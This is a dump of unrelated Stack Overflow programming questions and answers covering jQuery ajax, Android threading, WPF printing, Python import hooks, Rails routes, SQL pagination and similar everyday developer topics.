18460368	0	Getting TypeError: invalid 'in' operand obj while fetching data using ajax <p>Below is my ajax call</p> <pre><code> $(document).ready(function() { $("#blog").focusout(function() { alert('Focus out event call'); alert('hello'); $.ajax({ url: '/homes', method: 'POST', data: 'blog=' + $('#blog').val(), success: function(result) { $.each(result, function(key, val) { $("#result").append('&lt;div&gt;&lt;label&gt;' + val.description + '&lt;/label&gt;&lt;/div&gt;'); }); }, error: function() { alert('failure.'); } }); }); }); </code></pre> <p>I am getting 'TypeError: invalid 'in' operand obj ' error in my console</p> <p>In advance thank you</p>
16376565	0	 <pre><code>struct _received_data { unsigned char len_byte1; unsigned char len_byte2; char *str; } received_data; </code></pre> <p>Then, once your receive the buffer:</p> <pre><code>received_data *new_buf = (received_data*) buf; printf( "String = %s", new_buf-&gt;str); </code></pre> <p>Note that the buffers that are used in send &amp; recv are meant to carry binary data. If data being transmitted is a string, it needs to be managed (ie., adding '\0' and end of buffer etc). Also, in this case your Java server is adding length bytes following a protocol (which the client needs to be aware of).</p>
21729451	0	PDF Blob - Pop up window not showing contnet <p>I have been working on <a href="http://stackoverflow.com/questions/21628378/angularjs-display-blob-pdf-in-an-angular-app">this problem</a> for the last few days. With no luck on trying to display the stream on <code>&lt;embed src&gt;</code> tag, I just tried to display it on a new window.</p> <p>The new window shows pdf <strong>controls only</strong> <img src="https://i.stack.imgur.com/kXNGD.png" alt="enter image description here">)</p> <p>Any idea why the content of the pdf is not showing?</p> <p><strong>CODE:</strong></p> <pre><code>$http.post('/fetchBlobURL',{myParams}).success(function (data) { var file = new Blob([data], {type: 'application/pdf'}); var fileURL = URL.createObjectURL(file); window.open(fileURL); }); </code></pre>
25069638	0	Automate Splitting a PEM File into multiple Certs <p>I need to figure out a way to automate the process of splitting a PEM file into multiple PEM files. I was thinking of utilizing a batch script that will grab the PEM and Separate every time it finds:</p> <blockquote> <p>-----BEGIN CERTIFICATE-----</p> </blockquote> <p>To</p> <blockquote> <p>-----END CERTIFICATE-----</p> </blockquote> <p>However this seems a bit "hacky." I was hoping OpenSSL would have a tool that might be able to do this but I can't seem to find anything.</p> <p>What would be the best way of doing this?</p>
23525094	0	 <p>If you're trying to avoid C++/CLI, automatic conversion really won't make sense.</p> <p>The main issue isn't the classes and your code - it's that the underlying frameworks are so dramatically different that you'll likely need to restructure, rearchitect, and change your approach in order to make things work properly in the native version.</p> <p>Many of the concepts that will be commonplace in C# will just not map over the same way into C++.</p>
4633187	0	 <p>Do you mean that the form shall exchange its contents with a message plus an OK button? </p> <p>This would be similar to the way a text mode interface typically works.</p> <p>You can make it happen by adding a disabled panel or UserControl with message and button topmost on the form and enable it when you wish to alert the user. However, I am puzzled how to implement the blocking behavior similar to MessageBox.Show() and Dialog.Show().</p>
24022925	0	Error while calling AsyncTask within a gesture listener <p>Right now, I have an Activity that displays 10 listings from a <code>JSON</code> array. Next, on the swipe of an <code>ImageView</code>, I want to clear the <code>ListView</code> and display the next 10 (as a "next page" type thing). So, right now I do this</p> <pre><code> view.setOnTouchListener(new OnSwipeTouchListener(getBaseContext()) { @Override public void onSwipeLeft() { //clear adapter adapter.clear(); //get listings 10-20 startLoop = 10; endLoop = 20; //call asynctask to display locations FillLocations myFill = new FillLocations(); myFill.execute(); Toast.makeText(getApplicationContext(), "Left", Toast.LENGTH_LONG).show(); } </code></pre> <p>and when I swipe it diisplays ONE item and I get this error <code>Error Parsing Data android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.</code> What am I doing wrong? Thanks!</p> <p>Full code:</p> <pre><code>public class MainActivity extends ActionBarActivity { ListView listView; int startLoop, endLoop; TextView test; ArrayList&lt;Location&gt; arrayOfLocations; LocationAdapter adapter; ImageView view; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); startLoop = 0; endLoop = 10; listView = (ListView) findViewById(R.id.listView1); // Construct the data source arrayOfLocations = new ArrayList&lt;Location&gt;(); // Create the adapter to convert the array to views adapter = new LocationAdapter(this, arrayOfLocations); FillLocations myFill = new FillLocations(); myFill.execute(); view = (ImageView) findViewById(R.id.imageView1); view.setOnTouchListener(new OnSwipeTouchListener(getBaseContext()) { @Override public void onSwipeLeft() { adapter.clear(); startLoop = 10; endLoop = 20; FillLocations myFill = new FillLocations(); myFill.execute(); Toast.makeText(getApplicationContext(), "Left", Toast.LENGTH_LONG).show(); } }); } private class FillLocations extends AsyncTask&lt;Integer, Void, String&gt; { String msg = "Done"; protected void onPreExecute() { progress.show(); } // Decode image in background. @Override protected String doInBackground(Integer... params) { String result = ""; InputStream isr = null; try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://americanfarmstands.com/places/"); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); isr = entity.getContent(); // resultView.setText("connected"); } catch (Exception e) { Log.e("log_tag", "Error in http connection " + e.toString()); } // convert response to string try { BufferedReader reader = new BufferedReader( new InputStreamReader(isr, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } isr.close(); result = sb.toString(); } catch (Exception e) { Log.e("log_tag", "Error converting result " + e.toString()); } // parse json data try { JSONArray jArray = new JSONArray(result); for (int i = startLoop; i &lt; endLoop; i++) { //Toast.makeText(getApplicationContext(), i, // Toast.LENGTH_LONG).show(); final JSONObject json = jArray.getJSONObject(i); // counter++; String initialURL = "http://afs.spotcontent.com/img/Places/Icons/"; final String updatedURL = initialURL + json.getInt("ID") + ".jpg"; Bitmap bitmap2 = null; try { bitmap2 = BitmapFactory .decodeStream((InputStream) new URL(updatedURL) .getContent()); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { adapter.add(new Location(bitmap2, json .getString("PlaceTitle"), json .getString("PlaceDetails"), json .getString("PlaceDistance"), json .getString("PlaceUpdatedTime"))); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } catch (Exception e) { // TODO: handle exception Log.e("log_tag", "Error Parsing Data " + e.toString()); } return msg; } protected void onPostExecute(String msg) { // Attach the adapter to a ListView //ListView listView = (ListView) findViewById(R.id.listView1); listView.setAdapter(adapter); progress.dismiss(); } } </code></pre> <p>Location Adapter:</p> <pre><code>public class LocationAdapter extends ArrayAdapter&lt;Location&gt; { public LocationAdapter(Context context, ArrayList&lt;Location&gt; locations) { super(context, R.layout.item_location, locations); } @Override public View getView(int position, View convertView, ViewGroup parent) { // Get the data item for this position Location location = getItem(position); // Check if an existing view is being reused, otherwise inflate the view if (convertView == null) { convertView = LayoutInflater.from(getContext()).inflate(R.layout.item_location, parent, false); } // Lookup view for data population TextView tvName = (TextView) convertView.findViewById(R.id.tvName); TextView tvDetails = (TextView) convertView.findViewById(R.id.tvDetails); TextView tvDistance = (TextView) convertView.findViewById(R.id.tvDistance); TextView tvHours = (TextView) convertView.findViewById(R.id.tvHours); ImageView ivIcon = (ImageView) convertView.findViewById(R.id.imgIcon); // Populate the data into the template view using the data object tvName.setText(location.name); tvDetails.setText(location.details); tvDistance.setText(location.distance); tvHours.setText(location.hours); ivIcon.setImageBitmap(location.icon); // Return the completed view to render on screen return convertView; } } </code></pre> <p>EDIT: Updated Code:</p> <p>for (int i = startLoop; i &lt; endLoop; i++) {</p> <pre><code> // Toast.makeText(getApplicationContext(), i, // Toast.LENGTH_LONG).show(); final JSONObject json = jArray.getJSONObject(i); // counter++; String initialURL = "http://afs.spotcontent.com/img/Places/Icons/"; final String updatedURL = initialURL + json.getInt("ID") + ".jpg"; final Bitmap bitmap2 =BitmapFactory .decodeStream((InputStream) new URL(updatedURL) .getContent()); //try { // bitmap2 = BitmapFactory // .decodeStream((InputStream) new URL(updatedURL) // .getContent()); //} catch (MalformedURLException e) { // e.printStackTrace(); //} catch (IOException e) { // e.printStackTrace(); //} MainActivity.this.runOnUiThread(new Runnable() { @Override public void run() { try { adapter.add(new Location(bitmap2, json .getString("PlaceTitle"), json .getString("PlaceDetails"), json .getString("PlaceDistance"), json .getString("PlaceUpdatedTime"))); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); } </code></pre>
23192110	0	Can not Print in WPF <p>I have such a problem here. I have a window in my WPF project, and have a button, with what I want To print With printer that page. My click event for that button is this. </p> <pre><code>PrintDialog dlg = new PrintDialog(); Window currentMainWindow = Application.Current.MainWindow; Application.Current.MainWindow = this; if ((bool)dlg.ShowDialog().GetValueOrDefault()) { Application.Current.MainWindow = currentMainWindow; } </code></pre> <p>When I click on buton, the Print dialog is popped out. Here <img src="https://i.stack.imgur.com/BNHcV.png" alt="enter image description here"> But When clicking on print, nothing happenes, the dialog is just closing, and no results, it is not working not with Adobe PDF, not with ARX CoSign... </p> <p>What to do ? Thanks</p>
36624668	0	 <p>So far I have encountered the following example queries which does not work in hdb.</p> <ol> <li>count tablename</li> <li>select [10] from tablename</li> <li>delete/update/insert statements have only temporary effect till hdb is restarted</li> </ol> <p>i'll update this list as when i come across more</p>
5853136	0	How do I write a parser in C or Objective-C without a parser generator? <p>I am trying to make a calculator in C or Objective-C that accepts a string along the lines of</p> <pre><code>8/2+4(3*9)^2 </code></pre> <p>and returns the answer 2920. I would prefer not to use a generator like Lex or Yacc, so I want to code it from the ground up. How should I go about doing this? Other than the Dragon book, are there any recommended texts that cover this subject matter?</p>
12113821	0	 <p>I use <kbd>F1</kbd>-<kbd>F12</kbd> which work reliably enough for me. That's more keys than most would ever need. The higher keys are in my static setup, the lower ones are used for throw-away bindings.</p>
35005713	0	 <p>You'll need to add a custom import hook. Python added a way to register custom import hooks. Prior to this mechanism, you would have to override the built-in <code>__import__</code> function. But it was particularly error-prone, especially if multiple libraries were both trying to add custom import behavior.</p> <p><a href="https://www.python.org/dev/peps/pep-0302/" rel="nofollow">PEP 0302</a> describes the mechanism in detail.</p> <p>Essentially, you need to create two objects -- a Finder object and a Loader object.</p> <p>The Finder object should define a function called <code>find_module</code> </p> <blockquote> <p>This method will be called with the fully qualified name of the module. If the finder is installed on sys.meta_path , it will receive a second argument, which is None for a top-level module, or <code>package.__path__</code> for submodules or subpackages [5] . It should return a loader object if the module was found, or None if it wasn't.</p> </blockquote> <p>If the <code>find_module</code> function finds the module and returns a Loader object, the Loader object should define a <code>load_module</code> function</p> <blockquote> <p>This method returns the loaded module or raises an exception, preferably ImportError if an existing exception is not being propagated. If load_module() is asked to load a module that it cannot, ImportError is to be raised.</p> </blockquote> <p>Here is a short example detailing how it would work:</p> <pre><code>import sys import imp class CustomImportFinder(object): @staticmethod def find_module(fullname, path=None): # Do your custom stuff here, look in database, etc. code_from_database = "VAR = 1" return CustomImportLoader(fullname, path, code_from_database) class CustomImportLoader(object): def __init__(self, fullname, path, code_from_database): super(CustomImportLoader, self).__init__() self.fullname = fullname self.path = path self.code_from_database = code_from_database def is_package(fullname): # is this a package? return False def load_module(self, fullname): code = self.code_from_database ispkg = self.is_package(fullname) mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) mod.__file__ = "&lt;%s&gt;" % self.__class__.__name__ mod.__loader__ = self if ispkg: mod.__path__ = [] mod.__package__ = fullname else: mod.__package__ = fullname.rpartition('.')[0] exec(code, mod.__dict__) return mod sys.meta_path.append(CustomImportFinder) import blah print(blah) # &lt;module 'blah' (built-in)&gt; print(blah.VAR) # 1 </code></pre>
25395782	0	 <p>If you need it more than once:</p> <pre><code>scala&gt; implicit class `nonempty or else`(val s: String) extends AnyVal { | def nonEmptyOrElse(other: =&gt; String) = if (s.isEmpty) other else s } defined class nonempty scala&gt; "abc" nonEmptyOrElse "def" res2: String = abc scala&gt; "" nonEmptyOrElse "def" res3: String = def </code></pre>
7291881	0	 <p>You need to call <code>display.readAndDispatch()</code> to read the events from the event queue and act on them (dispatch).</p> <p>Even the the deactivate event from the <code>Shell</code> must be dispatched!</p> <p>All SWT based application have an event loop as the one you have added to your post. Have a look at the <a href="http://www.eclipse.org/swt/snippets/" rel="nofollow">SWT Snippets</a> for more examples.</p>
19872970	0	 <p>Something like this rule should work in your <code>DOCUMENT_ROOT/.htaccess</code> file:</p> <pre><code>RewriteEngine On RewriteCond %{REMOTE_ADDR} ^(100\.(22|44)|22\.122) RewriteRule ^ http://mysite/service/denied.shtml? [L,NC,R=302] </code></pre>
1872447	0	 <p>The actual number of types that end up in one particular package is not that important. It is how you arrive at your package structure.</p> <p>Things like abstraction ("what" instead of "how", essentially "public" API), coupling (the degree of how dependent a package is on other packages) and cohesion (how interrelated is the functionality in one package) are more important.</p> <p>Some guidelines for package design (mostly from <a href="http://butunclebob.com/" rel="nofollow noreferrer">Uncle Bob</a>) are for example:</p> <ul> <li>Packages should form reusable and releasable modules</li> <li>Packages should be focussed for good reusability</li> <li>Avoid cyclic dependencies between packages</li> <li>Packages should depend only on packages that change less often</li> <li>The abstraction of a package should be in proportion to how often it changes</li> </ul> <p>Do not try to flesh out an entire package structure from scratch (You Are Not Going To Need It). Instead let it evolve and refactor often. Look at the <code>import</code> section of your Java sources for inspiration on moving types around. Don't be distracted by packages that contain only one or a few types.</p>
36313865	0	 <p>Yes, storing this token into a config var is the right way to go.<br> As for <code>HEROKU_API_KEY</code>, this will happen because locally, the toolbelt will look for the environment variable as one solution to try to fetch your token.</p> <p>This won't impact your production environment (the heroku toolbelt isn't available within dynos).<br> Locally, you can also set it easily with a tool like <a href="https://github.com/theskumar/python-dotenv" rel="nofollow">python-dotenv</a>, which will allow you to have a local <code>.env</code> file (don't check it into source control, or your token could be corrupted), with all of it's values available as env vars in your dev app.</p>
4552803	0	 <pre><code>SELECT * FROM ( SELECT q.*, rownum rn FROM ( SELECT * FROM maps006 ORDER BY id ) q ) WHERE rn BETWEEN 50 AND 100 </code></pre> <p>Note the double nested view. <code>ROWNUM</code> is evaluated before <code>ORDER BY</code>, so it is required for correct numbering.</p> <p>If you omit <code>ORDER BY</code> clause, you won't get consistent order.</p>
13370017	0	 <p>Take a look at <a href="http://www.php.net/manual/en/book.pcntl.php" rel="nofollow">PCNTL</a> especially <a href="http://php.net/manual/en/function.pcntl-signal.php" rel="nofollow">pcntl_signal()</a></p>
21191804	0	 <p>You will probably want to consume the PayPal API. This may provide a better experience for your user since you won't have to bounce them out to PayPal and back.</p> <p>It looks like there's a gem that may help you out: <a href="https://github.com/tc/paypal_adaptive" rel="nofollow">paypal_adaptive</a></p> <p>I haven't tried it, so your mileage may vary. </p>
23357124	0	Android : How to pause and resume runnable thread? <p>I'm using a postDelayed runnable thread, I need to pause and resume that thread when I press a button. Please anyone help me on that.</p> <p>This is my thread:</p> <pre><code> protected void animation_music6() { music4.postDelayed(new Runnable() { public void run() { music4.setVisibility(View.VISIBLE); animationmusic4(); holemusic4(); } }, 10000); } </code></pre> <p>I need to pause the thread when i press a button and resume from where i pause the thread. I have used to pause the thread is:</p> <pre><code>music4.removeCallbacks(runnable4); </code></pre> <p>How i can resume the thread? Can anyone please help me. Is there any way to pause and resume the thread? I am a new to the android, So please help me to do this. Thanks in Advance.</p>
917060	0	Can v4l2 be used to read audio and video from the same device? <p>I have a capture card that captures SDI video with embedded audio. I have source code for a Linux driver, which I am trying to enhance to add video4linux2 support. My changes are based on the vivi example.</p> <p>The problem I've come up against is that all the example I can find deal with only video or only audio. Even on the client side, everything seems to assume v4l is just video, like ffmpeg's libavdevice.</p> <p>Do I need to have my driver create two separate devices, a v4l2 device and an alsa device? It seems like this makes the job of keeping audio and video in sync much more difficult.</p> <p>I would prefer some way for each buffer passed between the driver and the app (through v4l2's mmap interface) contain a frame, plus some audio that matches up (with respect to time) with that frame.</p> <p>Or perhaps have each buffer contain a flag indicating if it is a video frame, or a chunk of audio. Then the time stamps on the buffers could be used to sync things up.</p> <p>But I don't see a way to do this with the V4L2 API spec, nor do I see any examples of v4l2-enabled apps (gstreamer, ffmpeg, transcode, etc) reading both audio and video from a single device.</p>
4570657	0	How to pass an int value on UIButton click inside UITableView <p>So I have a view controller with a single UITableView that shows a string to the user. But I needed a way to have the user select this object by id using a normal UIButton so I added it as a subview and the click event works as expected.</p> <p>The issue is this - how can I pass an int value to this click event? I've tried using attributes of the button like button.tag or button.accessibilityhint without much success. How do the professionals pass an int value like this?</p> <p>Also it's important that I can get the actual [x intValue] from the int later in the process. A while back I thought I could do this with a simple</p> <p>NSLog(@"the actual selected hat was %d", [obj.idValue intValue]);</p> <p>But this doesn't appear to work (any idea how I can pull the actual int value directly from the variable?).</p> <p>The working code I have is below</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; } if ([self.hats count] &gt; 0) { Hat* obj = [self.hats objectAtIndex: [indexPath row]]; NSMutableString* fullName = [[NSMutableString alloc] init]; [fullName appendFormat:@"%@", obj.name]; [fullName appendFormat:@" %@", obj.type]; cell.textLabel.text = fullName; cell.accessoryType = UITableViewCellAccessoryDetailDisclosureButton; //add the button to subview hack UIButton* button = [UIButton buttonWithType:UIButtonTypeRoundedRect]; button.frame = CGRectMake(50, 5, 50, 25); [button setTitle:@"Select" forState:UIControlStateNormal]; button.backgroundColor = [UIColor clearColor]; button.adjustsImageWhenHighlighted = YES; button.tag = obj.idValue; //this is my current hack to add the id but no dice :( [button addTarget:self action:@selector(action:) forControlEvents:UIControlEventTouchUpInside]; [cell.contentView addSubview:button]; //hack } return cell; } - (void)action:(id)sender { int* hatId = ((UIButton *)sender).tag; //try to pull the id value I added above ... //do something w/ the hatId } </code></pre>
32699791	0	How to Handle Overlapping Animation Calls in Swift <p>I have a footer bar which is essentially a view containing a button and an image. When a particular button is pressed the function:</p> <ul> <li>Hides the image (footerImg)</li> <li>The button (footerBtn) has text (textToDisplay) added to it </li> <li>Then the animation fades the footerBtn out and the image back in</li> <li>The entire animation takes about 2 seconds</li> </ul> <p><strong>My problem</strong></p> <p>My problem is that sometimes the user is going to hit the button again before 2 seconds goes by and the same animation will be asked to run before it is finished. How do I enable my code to handle overlapping animations? I want the second press to stop the first animation and simply run the second animation.</p> <p><strong>My Code</strong></p> <p>With the code below a second button press ruins the animation and the text AND image both disappear for two seconds and then it goes back to the original state.</p> <pre><code> //Animate TaskAction feedback in footer bar func animateFeedback(textToDisplay: String, footerBtn: UIButton, footerImg: UIImageView) { //Cancel any running animation footerBtn.layer.removeAllAnimations() //Set to defaults - In case it is interrupting animation footerBtn.backgroundColor = UIColor.clearColor() footerBtn.setTitleColor(UIColor(red: 55/255.0, green: 55/255.0, blue: 55/255.0, alpha: 1.0), forState: UIControlState.Normal) //light gray //Setup for animation footerImg.alpha = 0.0 footerBtn.alpha = 1 footerBtn.setTitle(textToDisplay, forState: UIControlState.Normal) footerBtn.titleLabel!.font = UIFont(name: "HelveticaNeue-Regular", size: 18) UIView.animateKeyframesWithDuration(2.0 /*Total*/, delay: 1.0, options: UIViewKeyframeAnimationOptions.CalculationModeLinear, animations: { UIView.addKeyframeWithRelativeStartTime(0.0, relativeDuration:0.50, animations:{ footerBtn.alpha = 0.01 //Text fades out }) UIView.addKeyframeWithRelativeStartTime(0.50, relativeDuration:0.50, animations:{ footerImg.alpha = 1 //Starting image reappears }) }, completion: { finished in footerBtn.setTitle("", forState: UIControlState.Normal) footerBtn.alpha = 1 })//End of animation }//End of animateFeedback </code></pre>
20795457	0	 <p>Spelling check please!</p> <pre><code>double hypo**te**nuse(double leg1, double leg2); cout &lt;&lt; "The value of hypothesis is: " &lt;&lt; hypo**te**nuse(leg1,leg2) &lt;&lt; endl; double hypo**the**nuse(double leg1, double leg2) { return ((leg1 * leg1) + (leg2 * leg2)); } </code></pre>
13336366	0	Select multi-select form from array <p>Here's the issue. I have a database column called pymnt_meth_pref, which contains a comma separated string of payment methods chosen from a multiselect form.</p> <pre><code>&lt;td&gt;Payment Methods Used:&lt;br /&gt; &lt;input type="checkbox" name="pyment_meth_pref[]" value="Cash"&gt;I can pay with cash.&lt;br /&gt; &lt;input type="checkbox" name="pyment_meth_pref[]" value="Check"&gt;I can pay by check.&lt;br /&gt; &lt;input type="checkbox" name="pyment_meth_pref[]" value="Credit Card"&gt;I can pay by credit card.&lt;br /&gt; &lt;input type="checkbox" name="pyment_meth_pref[]" value="Paypal"&gt;I can pay with Paypal.&lt;br /&gt; &lt;/td&gt; </code></pre> <p>This array is posted to a variable and turned into a comma separated string</p> <pre><code>if (isset($_POST['pyment_meth_pref'])) $pymntmethpref = implode(", ", $_POST['pyment_meth_pref']); if (isset($_POST['pyment_meth_acc'])) $pymntmethacc = implode(", ", $_POST['pyment_meth_acc']); </code></pre> <p>This is then inserted into the database as a comma separated string.</p> <p>What I would like to do, is take this string and apply the values to the original form when the user goes back to the form and 'pre-select' the checkboxes, indicating that the user has already selected those values previously, and keeping those values in the database if they choose to edit any other information in the form.</p> <p>I'm assuming this would need to be done with javascript but if there is a way to do it with PHP I'd rather do it that way. </p>
15401767	0	Rails Routing ActiveRecord::RecordNotFound Error <p>I added a new controller action and added correspondent route</p> <pre><code> def students @students = Swimming::Student.all render :json =&gt; @students end namespace :swimming do resources :classschedules do get 'students', :action =&gt; 'students', :as =&gt; :students ,:on =&gt; :collection end end </code></pre> <p>but when I access this page </p> <pre><code>http://localhost:3000/swimming/classschedules/students </code></pre> <p>I got this error</p> <pre><code>ActiveRecord::RecordNotFound in Swimming::ClassschedulesController#show Couldn't find Swimming::Classschedule with id=students </code></pre> <p>It looks like rails tries to load another route</p> <pre><code>GET /swimming/classschedules/:id(.:format) swimming/classschedules#show </code></pre> <p>I am attaching all related routes</p> <pre><code> swimming_classschedules GET /swimming/classschedules(.:format) swimming/classschedules#index POST /swimming/classschedules(.:format) swimming/classschedules#create new_swimming_classschedule GET /swimming/classschedules/new(.:format) swimming/classschedules#new edit_swimming_classschedule GET /swimming/classschedules/:id/edit(.:format) swimming/classschedules#edit swimming_classschedule GET /swimming/classschedules/:id(.:format) swimming/classschedules#show PUT /swimming/classschedules/:id(.:format) swimming/classschedules#update DELETE /swimming/classschedules/:id(.:format) swimming/classschedules#destroy date_swimming_classschedules GET /swimming/classschedules/date/:date(.:format) swimming/classschedules#date students_swimming_classschedules GET /swimming/classschedules/students(.:format) swimming/classschedules#students editnote_swimming_classschedules POST /swimming/classschedules/editnote/:date(.:format) swimming/classschedules#editnote GET /swimming/classschedules(.:format) swimming/classschedules#index POST /swimming/classschedules(.:format) swimming/classschedules#create GET /swimming/classschedules/new(.:format) swimming/classschedules#new GET /swimming/classschedules/:id/edit(.:format) swimming/classschedules#edit GET /swimming/classschedules/:id(.:format) swimming/classschedules#show PUT /swimming/classschedules/:id(.:format) swimming/classschedules#update DELETE /swimming/classschedules/:id(.:format) swimming/classschedules#destroy </code></pre> <p>How to fix this issue?</p> <p><strong>UPDATE</strong> *<em>it has been fixed</em>*</p> <p>The issue because I had two blocks of </p> <pre><code> namespace :swimming do resources :classschedules do end end </code></pre> <p>in routes.rb</p>
38355482	1	Limiting execution time of a function call in Python kills my Kernel <p>I need to apply a function several times on different inputs. Sometimes the function takes hours to run. I do not want it to last more than 10 seconds. I found the method on a previous post (<a href="http://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python">How to limit execution time of a function call in Python</a>). I can use it but as soon as it's done my kernel dies (unexpectedly). You'll find bellow an example. </p> <p>Does someone face this problem / know why it happens ? </p> <p>Fyk: I use spider (Python 2.7.11 64bits, Qt 4.8.7, PyQt4 (API v2) 4.11.4 on Darwin)</p> <pre><code>import signal import time def signal_handler(signum, frame): raise Exception("Timed out!") for i in range(10): signal.signal(signal.SIGALRM, signal_handler) signal.alarm(10) # Ten seconds try: time.sleep(0.2) # The function I want to apply print("Ok it works") except Exception, msg: print "Timed out!" </code></pre>
18685528	1	Checking for ambiguities in decision tree <p>I'm using sklearn's decision tree to replace a messy and unmantainable implementation of business rules as a long if-elif-else chain. I validate the tree using thousands of test cases for all labels, but sometimes the table with rules I'm using as training data have errors and some tests fail randomly.</p> <p>I need a way to validate the tree, beyond the test cases for the outcomes. Is it correct to assume that if all leaf nodes have a gini = 0.0, there will be no random variation in classification across trees generated with a different random seed? If I need to enforce that on my application, is it reasonable to check for that when updating the training data?</p> <p>Notice that my case is not a typical classification problem, since I already have the decision tree implemented in code, and I want to use an algorithm to generate an equivalent tree from carefully tailored data, rather than a real world data sample, simply because in my case maintaining the data set with business rules is easier than maintaining the code.</p> <p>So, in my data set the features will ideally cover all the possible range of values and give one unambiguous label for that. For instance, while a real world training set might be something like:</p> <pre><code>features = [[1], [1.1], [2], [2.3]] labels = ['sativa', 'sativa', 'indica', 'indica'] </code></pre> <p>And an algorithm can come up randomly with a tree1 like:</p> <pre><code>if feature &lt; 1.75: return 'sativa' else: return 'indica' </code></pre> <p>And a tree2 like:</p> <pre><code>if feature &lt; 1.55: return 'sativa' else: return 'indica' </code></pre> <p>However, my training set wouldn't have the gaps where randomness occurs. It would be like:</p> <pre><code>features = [[1], [1.9], [2], [2.3]] labels = ['sativa', 'sativa', 'indica', 'indica'] </code></pre> <p>So, regardless of the initial random state, the tree would always be (obviously, ignoring differences below 0.1):</p> <pre><code>if feature &lt; 1.95: return 'sativa' else: return 'indica' </code></pre> <p>My problem is precisely that I need to validate if the training set has an error and there's a gap of values where random variation can occur, or if the same set of features is being assigned to different labels. Fixing the random state doesn't solve that problem, it only guarantees the same data will always generate the same tree.</p> <p>So, is there any way to determine if this happens with a tree, other than validating the data for those problems before generating the tree, or running a comprehensive testing a number of times big enough to rule out the random variation?</p>
24563034	0	 <p>Methods can declare only local variables. That why compiler report an error when you try to declare it as public. </p> <p>In case of local variables you can not use any kind of accessor (public, protected or private).</p> <p>You should also keep track on what static key word means. In method <code>checkYourself</code>, you use the declaration of <code>locations</code>.</p> <p>The static key word distinct the elements that are accessible with object creation. There for there are not part of object itself. </p> <pre><code>public class Test { //Capitalized name for classes are used in Java private final ini[] locations; //key final mean that, is must be assigned before object is constructed and can not be changed later. public Test(int[] locations) { this.locations = locations;//To access to class member, when method argument has the same name use `this` key word. } public boolean ckeckYourSelf(int value) { //This method is accessed only from a object. for(int location : locations) { if(location == value) { return true; //When you use key word return insied of loop you exit from it. In this case you exit also from whole method. } } return false; //Method should be simple and perform one task. So you can ge more flexibility. } public static int[] locations = {1,2,3};//This is static array that is not part of object, but can be used in it. public static void main(String[] args) { //This is declaration of public method that is not part of create object. It can be accessed from every place. Test test = new Test(Test.locations); //We declare variable test, and create new instance (obect) of class Test. String result; if(test.checkYourSelf(2)) {//We moved outsie the string result = "Hurray"; } else { result = "Try agian" } System.out.println(result); //We have only one place where write is done. Easy to change in future. } } </code></pre>
84158	0	 <p>Awstats provides a perl script that can merge several apache log files together. This script scales well since the memory footprint is very low, logs files are never loaded in memory. I know that si not exactly what you needs, but perhaps you can start from this script and adapt it for your needs.</p>
2626891	0	Custom keys with NERDComment plugin and remapped Leader? <p>I'm trying to set up the NERDComment plugin in vim, but I'm having some trouble with the keys. I'd like to set the basic toggle functionality (comment a line if it's uncommented, uncomment if it's commented) to be c. The problem is that I've remapped the Leader to be <code>,</code>, which is the same key that NERD wants for all of it's hotkeys. Anyone have any idea as to how to set this up? </p>
3682879	0	 <p>For easy bookmarking probably. Specifying the language information in the URL is 1 way to indicate that you want to view in that particular language, ignoring your current locale.</p> <p>Wrapping this information in the URL is better than using a cookie for example, as some users may delete all cookies after each browsing session. And because of this pseudo REST like URL, /en/, it is easily bookmarkable, and search engine friendly</p>
3372102	0	 <p>solution is add an extra class dialogaddSeasons and use rules listed below: </p> <pre><code> $("#dialogaddSeasons").dialog({ resizable: false, modal: true, width: 460, maxWidth:500, dialogClass:"dialogaddSeasons", draggable: false , title:"Add New Season", buttons: { 'Add Season': function() { $("#dialogaddSeasons #addSeasonForm").submit(); }, Cancel: function() { $(this).dialog('close'); } } }); .dialogaddSeasons table { display:inline; } .dialogaddSeasons form { float:left; } .dialogaddSeasons { display:block; float:left; height:150px; outline-color:-moz-use-text-color; outline-style:none; outline-width:0; right:305px; top:-4.2px; width:460px; z-index:1002; } </code></pre>
4564567	0	 <p>All of them. The intention of the feature is for something like a <code>TIMESTAMP</code> field, which the user cannot assign directly.</p>
36252646	0	Generate int unique id as android notification id, and have it refrenced in database so I might change the same notification before it triggers? <p>I am using PedningIntent in my Reminder app</p> <pre><code>Intent myIntent = new Intent(this , NotifyService.class); AlarmManager alarmManager = (AlarmManager)getSystemService(ALARM_SERVICE); PendingIntent pendingIntent = PendingIntent.getService(this, requestID, myIntent, 0); </code></pre> <p>How do I make a unique request id? Then have it in my database so if I might change/edit this notification, I can go back to the same request and then change the time or the title lets say..</p>
1787010	0	 <p>Well, whether or not there is a better way to extract two tokens than by calling GetToken twice seems irrelevant because one of your requirements is:</p> <blockquote> <p>(the class shall have) a method that subtracts exactly ONE token from your number of tokens</p> </blockquote> <p>So, it seems you are stuck with two calls. Since this is a highly contrived assignment you may as well just stick to the requirements. If you really want to learn something start your own personal project. :) </p> <hr> <p>Also, as an aside, you can chain constructors in C#. So this:</p> <pre><code>public TokenGiver() { numTokens = 0; } public TokenGiver(int t) { numTokens = t; } </code></pre> <p>...becomes...</p> <pre><code>public TokenGiver() : this(0) { } public TokenGiver(int t) { numTokens = t; } </code></pre>
